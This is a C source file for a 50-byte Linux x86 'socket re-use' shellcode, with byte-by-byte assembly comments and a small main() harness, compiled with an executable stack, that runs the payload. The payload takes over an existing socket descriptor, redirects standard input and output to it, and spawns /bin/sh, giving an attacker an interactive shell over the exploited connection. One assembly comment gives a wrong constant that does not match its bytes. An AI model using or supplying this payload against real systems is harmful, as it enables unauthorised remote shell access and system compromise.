/* Socket Re-use Combo for linux x86 systems by ZadYree -- 50 bytes * <zadyree@tuxfamily.org> * * Made using sockfd trick + dup2(0,0), dup2(0,1), dup2(0,2) + * execve /bin/sh * * Thanks: Charles Stevenson, ipv, 3LRVS research team * * gcc -o socket_reuse socket_reuse.c -z execstack */ char shellcode[]= /* We use sys_dup(2) to get the previous attributed sockfd */ "\x6a\x02" // push 0x2 "\x5b" // pop ebx "\x6a\x29" // push 0x29 "\x58" // pop eax "\xcd\x80" // int 0x80 -> call dup(2) "\x48" // dec eax /* Now EAX = our Socket File Descriptor */ "\x89\xc6" // mov esi, eax /* dup2(fd,0); dup2(fd,1); dup2(fd,2); */ "\x31\xc9" // xor %ecx,%ecx "\x56" // push %esi "\x5b" // pop %ebx // loop: "\x6a\x3f" // push $0x3f "\x58" // pop %eax "\xcd\x80" // int $0x80 "\x41" // inc %ecx "\x80\xf9\x03" // cmp $0x3,%cl "\x75\xf5" // jne 80483e8 <loop> /* execve /bin/sh by ipv */ "\x6a\x0b" // push byte 0xb "\x58" // pop eax "\x99" // cdq "\x52" // push edx "\x31\xf6" // xor esi, esi - We add those instructions "\x56" // push esi - to clean up the arg stack "\x68\x2f\x2f\x73\x68" // push dword 0x68732f2f "\x68\x2f\x62\x69\x6e" // push dword 0x6e69922f "\x89\xe3" // mov ebx, esp "\x31\xc9" // xor ecx, ecx "\xcd\x80"; // int 0x80 ; /* shellcode[]= "\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\xc6" "\x31\xc9\x56\x5b\x6a\x3f\x58\xcd\x80\x41\x80" "\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x31\xf6" "\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e" "\x89\xe3\x31\xc9\xcd\x80"; */ int main(void) { printf("Shellcode length: %d\n", strlen(shellcode)); (*(void(*)()) shellcode)(); return 0; }